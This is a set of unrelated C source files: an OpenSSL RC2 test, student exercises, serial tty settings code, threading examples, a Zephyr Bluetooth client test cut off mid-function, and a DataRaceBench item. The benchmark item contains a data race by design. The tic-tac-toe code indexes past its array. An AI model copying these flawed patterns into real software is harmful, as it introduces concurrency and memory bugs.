GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ /* This has been a quickly hacked 'ideatest.c'. When I add tests for other * RC2 modes, more of the code will be uncommented. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #ifdef NO_RC2 int main(int argc, char *argv[]) { printf("No RC2 support\n"); return(0); } #else #include <openssl/rc2.h> static unsigned char RC2key[4][16]={ {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01}, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}, {0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07, 0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F}, }; static unsigned char RC2plain[4][8]={ {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}, {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}, }; static unsigned char RC2cipher[4][8]={ {0x1C,0x19,0x8A,0x83,0x8D,0xF0,0x28,0xB7}, {0x21,0x82,0x9C,0x78,0xA9,0xF9,0xC0,0x74}, {0x13,0xDB,0x35,0x17,0xD3,0x21,0x86,0x9E}, {0x50,0xDC,0x01,0x62,0xBD,0x75,0x7F,0x31}, }; /************/ #ifdef undef unsigned char k[16]={ 0x00,0x01,0x00,0x02,0x00,0x03,0x00,0x04, 0x00,0x05,0x00,0x06,0x00,0x07,0x00,0x08}; unsigned char in[8]={0x00,0x00,0x00,0x01,0x00,0x02,0x00,0x03}; unsigned char c[8]={0x11,0xFB,0xED,0x2B,0x01,0x98,0x6D,0xE5}; unsigned char out[80]; char *text="Hello to all people out there"; static unsigned char cfb_key[16]={ 0xe1,0xf0,0xc3,0xd2,0xa5,0xb4,0x87,0x96, 0x69,0x78,0x4b,0x5a,0x2d,0x3c,0x0f,0x1e, }; static unsigned char cfb_iv[80]={0x34,0x12,0x78,0x56,0xab,0x90,0xef,0xcd}; static unsigned char cfb_buf1[40],cfb_buf2[40],cfb_tmp[8]; #define CFB_TEST_SIZE 24 static unsigned char plain[CFB_TEST_SIZE]= { 0x4e,0x6f,0x77,0x20,0x69,0x73, 0x20,0x74,0x68,0x65,0x20,0x74, 0x69,0x6d,0x65,0x20,0x66,0x6f, 0x72,0x20,0x61,0x6c,0x6c,0x20 }; static unsigned char cfb_cipher64[CFB_TEST_SIZE]={ 0x59,0xD8,0xE2,0x65,0x00,0x58,0x6C,0x3F, 0x2C,0x17,0x25,0xD0,0x1A,0x38,0xB7,0x2A, 0x39,0x61,0x37,0xDC,0x79,0xFB,0x9F,0x45 /* 0xF9,0x78,0x32,0xB5,0x42,0x1A,0x6B,0x38, 0x9A,0x44,0xD6,0x04,0x19,0x43,0xC4,0xD9, 0x3D,0x1E,0xAE,0x47,0xFC,0xCF,0x29,0x0B,*/ }; /*static int cfb64_test(unsigned char *cfb_cipher);*/ static char *pt(unsigned char *p); #endif int main(int argc, char *argv[]) { int i,n,err=0; RC2_KEY key; unsigned char buf[8],buf2[8]; for (n=0; n<4; n++) { RC2_set_key(&key,16,&(RC2key[n][0]),0 /* or 1024 */); RC2_ecb_encrypt(&(RC2plain[n][0]),buf,&key,RC2_ENCRYPT); if (memcmp(&(RC2cipher[n][0]),buf,8) != 0) { printf("ecb rc2 error encrypting\n"); printf("got :"); for (i=0; i<8; i++) printf("%02X ",buf[i]); printf("\n"); printf("expected:"); for (i=0; i<8; i++) printf("%02X ",RC2cipher[n][i]); err=20; printf("\n"); } RC2_ecb_encrypt(buf,buf2,&key,RC2_DECRYPT); if (memcmp(&(RC2plain[n][0]),buf2,8) != 0) { printf("ecb RC2 error decrypting\n"); printf("got :"); for (i=0; i<8; i++) printf("%02X ",buf[i]); printf("\n"); printf("expected:"); for (i=0; i<8; i++) printf("%02X ",RC2plain[n][i]); printf("\n"); err=3; } } if (err == 0) printf("ecb RC2 ok\n"); #ifdef undef memcpy(iv,k,8); idea_cbc_encrypt((unsigned char *)text,out,strlen(text)+1,&key,iv,1); memcpy(iv,k,8); idea_cbc_encrypt(out,out,8,&dkey,iv,0); idea_cbc_encrypt(&(out[8]),&(out[8]),strlen(text)+1-8,&dkey,iv,0); if (memcmp(text,out,strlen(text)+1) != 0) { printf("cbc idea bad\n"); err=4; } else printf("cbc idea ok\n"); printf("cfb64 idea "); if (cfb64_test(cfb_cipher64)) { printf("bad\n"); err=5; } else printf("ok\n"); #endif exit(err); return(err); } #ifdef undef static int cfb64_test(unsigned char *cfb_cipher) { IDEA_KEY_SCHEDULE eks,dks; int err=0,i,n; idea_set_encrypt_key(cfb_key,&eks); idea_set_decrypt_key(&eks,&dks); memcpy(cfb_tmp,cfb_iv,8); n=0; idea_cfb64_encrypt(plain,cfb_buf1,(long)12,&eks, cfb_tmp,&n,IDEA_ENCRYPT); idea_cfb64_encrypt(&(plain[12]),&(cfb_buf1[12]), (long)CFB_TEST_SIZE-12,&eks, cfb_tmp,&n,IDEA_ENCRYPT); if (memcmp(cfb_cipher,cfb_buf1,CFB_TEST_SIZE) != 0) { err=1; printf("idea_cfb64_encrypt encrypt error\n"); for (i=0; i<CFB_TEST_SIZE; i+=8) printf("%s\n",pt(&(cfb_buf1[i]))); } memcpy(cfb_tmp,cfb_iv,8); n=0; idea_cfb64_encrypt(cfb_buf1,cfb_buf2,(long)17,&eks, cfb_tmp,&n,IDEA_DECRYPT); idea_cfb64_encrypt(&(cfb_buf1[17]),&(cfb_buf2[17]), (long)CFB_TEST_SIZE-17,&dks, cfb_tmp,&n,IDEA_DECRYPT); if (memcmp(plain,cfb_buf2,CFB_TEST_SIZE) != 0) { err=1; printf("idea_cfb_encrypt decrypt error\n"); for (i=0; i<24; i+=8) printf("%s\n",pt(&(cfb_buf2[i]))); } return(err); } static char *pt(unsigned char *p) { static char bufs[10][20]; static int bnum=0; char *ret; int i; static char *f="0123456789ABCDEF"; ret= &(bufs[bnum++][0]); bnum%=10; for (i=0; i<8; i++) { ret[i*2]=f[(p[i]>>4)&0xf]; ret[i*2+1]=f[p[i]&0xf]; } ret[16]='\0'; return(ret); } #endif #endif
the_stack_data/95451481.c
/* Quick Sort Program*/ #include<stdio.h> void quicksort(int number[25],int first,int last){ int i, j, pivot, temp; if(first<last){ pivot=first; i=first; j=last; while(i<j){ while(number[i]<=number[pivot]&&i<last) i++; while(number[j]>number[pivot]) j--; if(i<j){ temp=number[i]; number[i]=number[j]; number[j]=temp; } } temp=number[pivot]; number[pivot]=number[j]; number[j]=temp; quicksort(number,first,j-1); quicksort(number,j+1,last); } } int main(){ int i, count, number[25]; printf("How many elements are u going to enter?: "); scanf("%d",&count); printf("Enter %d elements: ", count); for(i=0;i<count;i++) scanf("%d",&number[i]); quicksort(number,0,count-1); printf("Order of Sorted elements: "); for(i=0;i<count;i++) printf(" %d",number[i]); return 0; }
the_stack_data/30138.c
#include <stdio.h> #include <string.h> #define ROWS 3 #define COLS 3 int validate(char arr[][COLS], int x, int y) { if (arr[x][y] == 'X' || arr[x][y] == 'O') { return 0; } else { return 1; } } void show_board(char arr[][COLS]) { for (int i = 0; i < ROWS; i++) { printf("-- -- --\n"); for (int j = 0; j < COLS; j++) { printf("|%c|", arr[i][j]); } printf("\n"); } printf("-- -- --\n"); } int chk_win(char arr[][COLS], char token) { for (int i = 0; i < COLS; i++) { for (int j = 0; j < COLS; j++) { //char chk_cols = arr[j][i]; if (token != arr[j][i]) { break; } else if (j == 2){ return 1; } } for (int k = 0; k < ROWS; k++) { //char chk_rows = arr[i][k]; if (token != arr[i][k]) { break; } else if (k == 2) { return 1; } } } for (int m = 1; m < COLS; m++) { if (arr[m][m] != token) { break; } else if (m == 2) { return 1; } } for (int n = 1; n < COLS; n++) { if (arr[n][COLS - n + 1] != token) { break; } else if (n == 2){ return 1; } } return 0; }
the_stack_data/70450306.c
int test_RecordedCall;
the_stack_data/152398.c
#include<stdio.h> int main() { int num, reverse=0, n, rem; printf("Enter a number: "); scanf("%d", &num); n = num; while(n != 0){ rem = n%10; reverse = reverse*10 + rem; n = n/10; } int difference=num-reverse; if (difference<0) {difference = -1*difference;} printf("Difference = %d", difference); return 0; }
the_stack_data/57950601.c
/* * remserial * Copyright (C) 2000 Paul Davis, [email protected] * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #include <stdlib.h> #include <termios.h> #include <unistd.h> #include <string.h> #define CFLG 0 #define IFLG 1 #define OFLG 2 #define LFLG 3 #define RFLG 4 #define BFLG 5 extern int errno; static struct sttyset { char *name; int which; int mask; int value; } sttynames[] = { { "0", BFLG, 0, B0 }, { "50", BFLG, 0, B50 }, { "75", BFLG, 0, B75 }, { "110", BFLG, 0, B110 }, { "134", BFLG, 0, B134 }, { "150", BFLG, 0, B150 }, { "200", BFLG, 0, B200 }, { "300", BFLG, 0, B300 }, { "600", BFLG, 0, B600 }, { "1200", BFLG, 0, B1200 }, { "1800", BFLG, 0, B1800 }, { "2400", BFLG, 0, B2400 }, { "4800", BFLG, 0, B4800 }, { "9600", BFLG, 0, B9600 }, { "19200", BFLG, 0, B19200 }, { "38400", BFLG, 0, B38400 }, #ifdef B57600 { "57600", BFLG, 0, B57600 }, #endif #ifdef B115200 { "115200", BFLG, 0, B115200 }, #endif #ifdef B230400 { "230400", BFLG, 0, B230400 }, #endif { "cs7", CFLG, CSIZE, CS7 }, { "cs8", CFLG, CSIZE, CS8 }, { "cstopb", CFLG, CSTOPB, CSTOPB }, { "cread", CFLG, CREAD, CREAD }, { "parenb", CFLG, PARENB, PARENB }, { "parodd", CFLG, PARODD, PARODD }, { "hubcl", CFLG, HUPCL, HUPCL }, { "clocal", CFLG, CLOCAL, CLOCAL }, #ifdef CRTSCTS { "crtscts", CFLG, CRTSCTS, CRTSCTS }, #endif #ifdef ORTSFL { "ortsfl", CFLG, ORTSFL, ORTSFL }, #endif #ifdef CTSFLOW { "ctsflow", CFLG, CTSFLOW, CTSFLOW }, #endif #ifdef RTSFLOW { "rtsflow", CFLG, RTSFLOW, RTSFLOW }, #endif { "ignbrk", IFLG, IGNBRK, IGNBRK }, { "brkint", IFLG, BRKINT, BRKINT }, { "ignpar", IFLG, IGNPAR, IGNPAR }, { "parmrk", IFLG, PARMRK, PARMRK }, { "inpck", IFLG, INPCK, INPCK }, { "istrip", IFLG, ISTRIP, ISTRIP }, { "inlcr", IFLG, INLCR, INLCR }, { "igncr", IFLG, IGNCR, IGNCR }, { "icrnl", IFLG, ICRNL, ICRNL }, #ifdef IUCLC // Missing on OSX, FreeBSD { "iuclc", IFLG, IUCLC, IUCLC }, #endif { "ixon", IFLG, IXON, IXON }, { "ixany", IFLG, IXANY, IXANY }, { "ixoff", IFLG, IXOFF, IXOFF }, #ifdef IMAXBEL { "imaxbel", IFLG, IMAXBEL, IMAXBEL }, #endif { "opost", OFLG, OPOST, OPOST }, #ifdef ILCUC // Missing on OSX, FreeBSD { "olcuc", OFLG, OLCUC, OLCUC }, #endif { "onlcr", OFLG, ONLCR, ONLCR }, { "ocrnl", OFLG, OCRNL, OCRNL }, { "onocr", OFLG, ONOCR, ONOCR }, { "onlret", OFLG, ONLRET, ONLRET }, { "ofil", OFLG, OFILL, OFILL }, { "ofdel", OFLG, OFDEL, OFDEL }, { "nl0", OFLG, NLDLY, NL0 }, { "nl1", OFLG, NLDLY, NL1 }, { "cr0", OFLG, CRDLY, CR0 }, { "cr1", OFLG, CRDLY, CR1 }, { "cr2", OFLG, CRDLY, CR2 }, { "cr3", OFLG, CRDLY, CR3 }, { "tab0", OFLG, TABDLY, TAB0 }, { "tab1", OFLG, TABDLY, TAB1 }, { "tab2", OFLG, TABDLY, TAB2 }, { "tab3", OFLG, TABDLY, TAB3 }, { "bs0", OFLG, BSDLY, BS0 }, { "bs1", OFLG, BSDLY, BS1 }, { "vt0", OFLG, VTDLY, VT0 }, { "vt1", OFLG, VTDLY, VT1 }, { "ff0", OFLG, FFDLY, FF0 }, { "ff1", OFLG, FFDLY, FF1 }, { "isig", LFLG, ISIG, ISIG }, { "icanon", LFLG, ICANON, ICANON }, #ifdef XCASE // Missing on OSX, FreeBSD { "xcase", LFLG, XCASE, XCASE }, #endif { "echo", LFLG, ECHO, ECHO }, { "echoe", LFLG, ECHOE, ECHOE }, { "echok", LFLG, ECHOK, ECHOK }, { "echonl", LFLG, ECHONL, ECHONL }, { "noflsh", LFLG, NOFLSH, NOFLSH }, { "tostop", LFLG, TOSTOP, TOSTOP }, #ifdef ECHOCTL { "echoctl", LFLG, ECHOCTL, ECHOCTL }, #endif #ifdef ECHOPRT { "echoprt", LFLG, ECHOPRT, ECHOPRT }, #endif #ifdef ECHOKE { "echoke", LFLG, ECHOKE, ECHOKE }, #endif #ifdef FLUSHO { "flusho", LFLG, FLUSHO, FLUSHO }, #endif #ifdef PENDIN { "pendin", LFLG, PENDIN, PENDIN }, #endif { "iexten", LFLG, IEXTEN, IEXTEN }, #ifdef TOSTOP { "tostop", LFLG, TOSTOP, TOSTOP }, #endif { "raw", RFLG, 0, 0 }, { NULL, 0, 0, 0 } }; static void set_this_tty(struct termios *term,struct sttyset *p,int turnon) { /* pdebug(5,"set_this_tty: setting %s on? %d\n",p->name,turnon); */ switch ( p->which ) { case CFLG: term->c_cflag &= ~(p->mask); if ( turnon ) term->c_cflag |= p->value; break; case IFLG: term->c_iflag &= ~(p->mask); if ( turnon ) term->c_iflag |= p->value; break; case OFLG: term->c_oflag &= ~(p->mask); if ( turnon ) term->c_oflag |= p->value; break; case LFLG: term->c_lflag &= ~(p->mask); if ( turnon ) term->c_lflag |= p->value; break; case RFLG: term->c_iflag = 0; term->c_oflag = 0; term->c_lflag = 0; term->c_cc[VMIN] = 1; term->c_cc[VTIME] = 0; break; case BFLG: cfsetispeed(term, p->value); cfsetospeed(term, p->value); break; } } int set_tty(int fd,char *settings) { register char *p; register char *s; struct termios term; register int i; int mode; /* pdebug(4,"set_tty: fd %d settings %s\n",fd,settings); */ if ( tcgetattr(fd,&term) == -1 ) { /* pdebug(4,"set_tty: cannot get settings for fd %d, error %d\n", fd,errno); */ return -1; } s = strdup(settings); p = strtok(s," \t\n"); while (p) { mode = 1; if ( *p == '-' ) { mode = 0; p++; } for ( i=0 ; sttynames[i].name ; i++ ) { if ( !strcmp(p,sttynames[i].name) ) { set_this_tty(&term,&sttynames[i],mode); break; } } p = strtok(NULL," \t\n"); } free(s); if ( tcsetattr(fd,TCSANOW,&term) == -1 ) { /* pdebug(4,"set_tty: cannot get settings for fd %d error %d\n", fd,errno); */ return -1; } else return 0; }
the_stack_data/195198.c
#include <stdio.h> int main(int argc, const char * argv[]) { int myInt = 5; printf("myInt ---> %d\n", myInt++); printf("myInt ---> %d\n", ++myInt); return 0; }
the_stack_data/34513810.c
#include<stdio.h> int main(void) { printf("Hello World"); return 0; }
the_stack_data/89200966.c
/* Program to swap three numbers using fourth variable SUMIT KUMAR */ #include<stdio.h> int main(void) { int a,b,c,temp; printf("\nEnter the of a,b and c:"); scanf("%d%d%d",&a,&b,&c); printf("\nBefore swap the value of a=%d, b=%d and c=%d",a,b,c); temp=c; c=b; b=a; a=temp; printf("\nAfter swap the value of a=%d, b=%d and c=%d", a,b,c); return 0; }
the_stack_data/313242.c
/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ // using variable-length array in C99 // Avoid dynamic allocated arrays, which introduces pointers , bad for static analysis tools #include <stdlib.h> int main(int argc,char *argv[]) { int i, j; int len = 20; if (argc>1) len = atoi(argv[1]); double a[len][len]; for (i=0; i< len; i++) for (j=0; j<len; j++) a[i][j] = 0.5; #pragma omp parallel for for (i = 0; i < len - 1; i += 1) { for (j = 0; j < len ; j += 1) { a[i][j] += a[i + 1][j]; } } return 0; }
the_stack_data/153010.c
// File name: ExtremeC_examples_chapter16_2.c // Description: A classic example which demonstrates how // general semaphores can be used to create // molecules of water using threads of hydrogen // and oxygen atoms. Each oxygen thread should // wait for two hydrogen threads to form a water // molecule. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <limits.h> #include <errno.h> // For errno and strerror function // The POSIX standard header for using pthread library #include <pthread.h> // Semaphores are not exposed through pthread.h #include <semaphore.h> #ifdef __APPLE__ // In Apple systems, we have to simulate the barrier functionality. pthread_mutex_t barrier_mutex; pthread_cond_t barrier_cv; unsigned int barrier_thread_count; unsigned int barrier_round; unsigned int barrier_thread_limit; void barrier_wait() { pthread_mutex_lock(&barrier_mutex); barrier_thread_count++; if (barrier_thread_count >= barrier_thread_limit) { barrier_thread_count = 0; barrier_round++; pthread_cond_broadcast(&barrier_cv); } else { unsigned int my_round = barrier_round; do { pthread_cond_wait(&barrier_cv, &barrier_mutex); } while (my_round == barrier_round); } pthread_mutex_unlock(&barrier_mutex); } #else // A barrier to make hydrogen and oxygen threads synchrnized pthread_barrier_t water_barrier; #endif // A mutex in order to synchronize oxygen threads pthread_mutex_t oxygen_mutex; // A general semaphore to make hydrogen threads synchronized sem_t* hydrogen_sem; // A shared integer counting the numebr of made water molecules unsigned int num_of_water_molecules; void* hydrogen_thread_body(void* arg) { // Two hydrogen threads can enter this critical section sem_wait(hydrogen_sem); // Wait for the other hydrogen thread to join #ifdef __APPLE__ barrier_wait(); #else pthread_barrier_wait(&water_barrier); #endif sem_post(hydrogen_sem); return NULL; } void* oxygen_thread_body(void* arg) { pthread_mutex_lock(&oxygen_mutex); // Wait for the hydrogen threads to join #ifdef __APPLE__ barrier_wait(); #else pthread_barrier_wait(&water_barrier); #endif num_of_water_molecules++; pthread_mutex_unlock(&oxygen_mutex); return NULL; } int main(int argc, char** argv) { num_of_water_molecules = 0; // Initialize oxygen mutex pthread_mutex_init(&oxygen_mutex, NULL); // Initialize hydrogen sempahore #ifdef __APPLE__ hydrogen_sem = sem_open("hydrogen_sem", O_CREAT | O_EXCL, 0644, 2); #else sem_t local_sem; hydrogen_sem = &local_sem; sem_init(hydrogen_sem, 0, 2); #endif // Initialize water barrier #ifdef __APPLE__ pthread_mutex_init(&barrier_mutex, NULL); pthread_cond_init(&barrier_cv, NULL); barrier_thread_count = 0; barrier_thread_limit = 0; barrier_round = 0; #else pthread_barrier_init(&water_barrier, NULL, 3); #endif // For creating 50 water molecules, we need 50 oxygen atoms and // 100 hydrogen atoms pthread_t thread[150]; // Create oxygen threads for (int i = 0; i < 50; i++) { if (pthread_create(thread + i, NULL, oxygen_thread_body, NULL)) { printf("Couldn't create an oxygen thread.\n"); exit(1); } } // Create hydrogen threads for (int i = 50; i < 150; i++) { if (pthread_create(thread + i, NULL, hydrogen_thread_body, NULL)) { printf("Couldn't create an hydrogen thread.\n"); exit(2); } } printf("Waiting for hydrogen and oxygen atoms to react ...\n"); // Wait for all threads to finish for (int i = 0; i < 150; i++) { if (pthread_join(thread[i], NULL)) { printf("The thread could not be joined.\n"); exit(3); } } printf("Number of made water molecules: %d\n", num_of_water_molecules); #ifdef __APPLE__ sem_close(hydrogen_sem); #else sem_destroy(hydrogen_sem); #endif return 0; }
the_stack_data/12638119.c
/* * Copyright (c) 2021 Nordic Semiconductor ASA * * SPDX-License-Identifier: Apache-2.0 */ #ifdef CONFIG_BT_VCS_CLIENT #include <zephyr/bluetooth/bluetooth.h> #include <zephyr/bluetooth/audio/vcs.h> #include "common.h" #define VOCS_DESC_SIZE 64 #define AICS_DESC_SIZE 64 extern enum bst_result_t bst_result; static struct bt_vcs *vcs; static struct bt_vcs_included vcs_included; static volatile bool g_bt_init; static volatile bool g_is_connected; static volatile bool g_discovery_complete; static volatile bool g_write_complete; static volatile uint8_t g_volume; static volatile uint8_t g_mute; static volatile uint8_t g_flags; static volatile int16_t g_vocs_offset; static volatile uint32_t g_vocs_location; static char g_vocs_desc[VOCS_DESC_SIZE]; static volatile int8_t g_aics_gain; static volatile uint8_t g_aics_input_mute; static volatile uint8_t g_aics_mode; static volatile uint8_t g_aics_input_type; static volatile uint8_t g_aics_units; static volatile uint8_t g_aics_gain_max; static volatile uint8_t g_aics_gain_min; static volatile bool g_aics_active = 1; static char g_aics_desc[AICS_DESC_SIZE]; static volatile bool g_cb; static void vcs_state_cb(struct bt_vcs *vcs, int err, uint8_t volume, uint8_t mute) { if (err) { FAIL("VCS state cb err (%d)", err); return; } g_volume = volume; g_mute = mute; g_cb = true; } static void vcs_flags_cb(struct bt_vcs *vcs, int err, uint8_t flags) { if (err) { FAIL("VCS flags cb err (%d)", err); return; } g_flags = flags; g_cb = true; } static void vocs_state_cb(struct bt_vocs *inst, int err, int16_t offset) { if (err) { FAIL("VOCS state cb err (%d)", err); return; } g_vocs_offset = offset; g_cb = true; } static void vocs_location_cb(struct bt_vocs *inst, int err, uint32_t location) { if (err) { FAIL("VOCS location cb err (%d)", err); return; } g_vocs_location = location; g_cb = true; } static void vocs_description_cb(struct bt_vocs *inst, int err, char *description) { if (err) { FAIL("VOCS description cb err (%d)", err); return; } if (strlen(description) > sizeof(g_vocs_desc) - 1) { printk("Warning: VOCS description (%zu) is larger than buffer (%zu)\n", strlen(description), sizeof(g_vocs_desc) - 1); } strncpy(g_vocs_desc, description, sizeof(g_vocs_desc) - 1); g_vocs_desc[sizeof(g_vocs_desc) - 1] = '\0'; g_cb = true; } static void vocs_write_cb(struct bt_vocs *inst, int err) { if (err) { FAIL("VOCS write failed (%d)\n", err); return; } g_write_complete = true; } static void aics_state_cb(struct bt_aics *inst, int err, int8_t gain, uint8_t mute, uint8_t mode) { if (err) { FAIL("AICS state cb err (%d)", err); return; } g_aics_gain = gain; g_aics_input_mute = mute; g_aics_mode = mode; g_cb = true; } static void aics_gain_setting_cb(struct bt_aics *inst, int err, uint8_t units, int8_t minimum, int8_t maximum) { if (err) { FAIL("AICS gain setting cb err (%d)", err); return; } g_aics_units = units; g_aics_gain_min = minimum; g_aics_gain_max = maximum; g_cb = true; } static void aics_input_type_cb(struct bt_aics *inst, int err, uint8_t input_type) { if (err) { FAIL("AICS input type cb err (%d)", err); return; } g_aics_input_type = input_type; g_cb = true; } static void aics_status_cb(struct bt_aics *inst, int err, bool active) { if (err) { FAIL("AICS status cb err (%d)", err); return; } g_aics_active = active; g_cb = true; } static void aics_description_cb(struct bt_aics *inst, int err, char *description) { if (err) { FAIL("AICS description cb err (%d)", err); return; } if (strlen(description) > sizeof(g_aics_desc) - 1) { printk("Warning: AICS description (%zu) is larger than buffer (%zu)\n", strlen(description), sizeof(g_aics_desc) - 1); } strncpy(g_aics_desc, description, sizeof(g_aics_desc) - 1); g_aics_desc[sizeof(g_aics_desc) - 1] = '\0'; g_cb = true; } static void aics_write_cb(struct bt_aics *inst, int err) { if (err) { FAIL("AICS write failed (%d)\n", err); return; } g_write_complete = true; } static void vcs_discover_cb(struct bt_vcs *vcs, int err, uint8_t vocs_count, uint8_t aics_count) { if (err) { FAIL("VCS could not be discovered (%d)\n", err); return; } g_discovery_complete = true; } static void vcs_write_cb(struct bt_vcs *vcs, int err) { if (err) { FAIL("VCS write failed (%d)\n", err); return; } g_write_complete = true; } static struct bt_vcs_cb vcs_cbs = { .discover = vcs_discover_cb, .vol_down = vcs_write_cb, .vol_up = vcs_write_cb, .mute = vcs_write_cb, .unmute = vcs_write_cb, .vol_down_unmute = vcs_write_cb, .vol_up_unmute = vcs_write_cb, .vol_set = vcs_write_cb, .state = vcs_state_cb, .flags = vcs_flags_cb, .vocs_cb = { .state = vocs_state_cb, .location = vocs_location_cb, .description = vocs_description_cb, .set_offset = vocs_write_cb, }, .aics_cb = { .state = aics_state_cb, .gain_setting = aics_gain_setting_cb, .type = aics_input_type_cb, .status = aics_status_cb, .description = aics_description_cb, .set_gain = aics_write_cb, .unmute = aics_write_cb, .mute = aics_write_cb, .set_manual_mode = aics_write_cb, .set_auto_mode = aics_write_cb, } }; static void connected(struct bt_conn *conn, uint8_t err) { char addr[BT_ADDR_LE_STR_LEN]; bt_addr_le_to_str(bt_conn_get_dst(conn), addr, sizeof(addr)); if (err) { bt_conn_unref(default_conn); default_conn = NULL; FAIL("Failed to connect to %s (%u)\n", addr, err); return; } printk("Connected to %s\n", addr); g_is_connected = true; } static void bt_ready(int err) { if (err) { FAIL("Bluetooth discover failed (err %d)\n", err); return; } g_bt_init = true; } BT_CONN_CB_DEFINE(conn_callbacks) = { .connected = connected, .disconnected = disconnected, }; static int test_aics(void) { int err; int8_t expected_gain; uint8_t expected_input_mute; uint8_t expected_mode; uint8_t expected_input_type; char expected_aics_desc[AICS_DESC_SIZE]; struct bt_conn *cached_conn; printk("Getting AICS client conn\n"); err = bt_aics_client_conn_get(vcs_included.aics[0], &cached_conn); if (err != 0) { FAIL("Could not get AICS client conn (err %d)\n", err); return err; } if (cached_conn != default_conn) { FAIL("Cached conn was not the conn used to discover"); return -ENOTCONN; } printk("Getting AICS state\n"); g_cb = false; err = bt_vcs_aics_state_get(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not get AICS state (err %d)\n", err); return err; } WAIT_FOR_COND(g_cb); printk("AICS state get\n"); printk("Getting AICS gain setting\n"); g_cb = false; err = bt_vcs_aics_gain_setting_get(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not get AICS gain setting (err %d)\n", err); return err; } WAIT_FOR_COND(g_cb); printk("AICS gain setting get\n"); printk("Getting AICS input type\n"); expected_input_type = BT_AICS_INPUT_TYPE_DIGITAL; g_cb = false; err = bt_vcs_aics_type_get(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not get AICS input type (err %d)\n", err); return err; } /* Expect and wait for input_type from init */ WAIT_FOR_COND(g_cb && expected_input_type == g_aics_input_type); printk("AICS input type get\n"); printk("Getting AICS status\n"); g_cb = false; err = bt_vcs_aics_status_get(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not get AICS status (err %d)\n", err); return err; } WAIT_FOR_COND(g_cb); printk("AICS status get\n"); printk("Getting AICS description\n"); g_cb = false; err = bt_vcs_aics_description_get(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not get AICS description (err %d)\n", err); return err; } WAIT_FOR_COND(g_cb); printk("AICS description get\n"); printk("Setting AICS mute\n"); expected_input_mute = BT_AICS_STATE_MUTED; g_write_complete = g_cb = false; err = bt_vcs_aics_mute(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not set AICS mute (err %d)\n", err); return err; } WAIT_FOR_COND(g_aics_input_mute == expected_input_mute && g_cb && g_write_complete); printk("AICS mute set\n"); printk("Setting AICS unmute\n"); expected_input_mute = BT_AICS_STATE_UNMUTED; g_write_complete = g_cb = false; err = bt_vcs_aics_unmute(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not set AICS unmute (err %d)\n", err); return err; } WAIT_FOR_COND(g_aics_input_mute == expected_input_mute && g_cb && g_write_complete); printk("AICS unmute set\n"); printk("Setting AICS auto mode\n"); expected_mode = BT_AICS_MODE_AUTO; 